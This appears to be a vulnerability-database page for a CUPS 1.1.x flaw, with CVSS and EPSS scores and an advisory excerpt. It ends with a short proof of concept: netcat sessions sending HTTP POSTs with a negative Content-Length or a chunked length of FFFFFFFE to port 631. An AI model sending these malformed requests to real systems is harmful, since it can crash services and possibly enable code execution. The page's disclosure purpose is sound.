CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Common Unix Printing System (CUPS) 1.1.14 through 1.1.17 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code by causing negative arguments to be fed into memcpy() calls via HTTP requests with (1) a negative Content-Length value or (2) a negative length in a chunked transfer encoding.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
45.4%
–
–
2023-03-12
–
–
–
24.25%
–
2024-03-24
–
–
–
24.25%
–
2024-06-02
–
–
–
20.95%
–
2024-09-01
–
–
–
20.95%
–
2024-09-22
–
–
–
20.95%
–
2024-10-13
–
–
–
20.95%
–
2024-12-22
–
–
–
25.31%
–
2025-01-19
–
–
–
25.31%
–
2025-03-18
–
–
–
–
26.75%
2025-03-18
–
–
–
–
26.75,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
source: https://www.securityfocus.com/bid/6437/info
A vulnerability has been reported for CUPS that if exploited may result in a DoS or the execute of code on affected systems.
An attacker can exploit this vulnerability by connecting to a vulnerable system and issuing malformed HTTP headers with a negative value for some fields. When the cupsd service receives this request, it will crash.
This vulnerability is very similar to the issue described in BID 5033. It may be very likely that this vulnerability may be exploited to execute malicious attacker-supplied code on BSD, and possibly other, platforms.
*** January 05, 2003
There are reports of this vulnerability being actively exploited in the wild. Vulnerable users are advised to update immediately.
$ nc -v localhost 631
localhost [127.0.0.1] 631 (?) open
POST /printers HTTP/1.1
Host: localhost
Authorization: Basic AAA
Content-Length: -1
$ nc -v localhost 631
localhost [127.0.0.1] 631 (?) open
POST /printers HTTP/1.1
Host: localhost
Authorization: Basic AAA
Transfer-Encoding: chunked
- - - - -FFFFFFFE
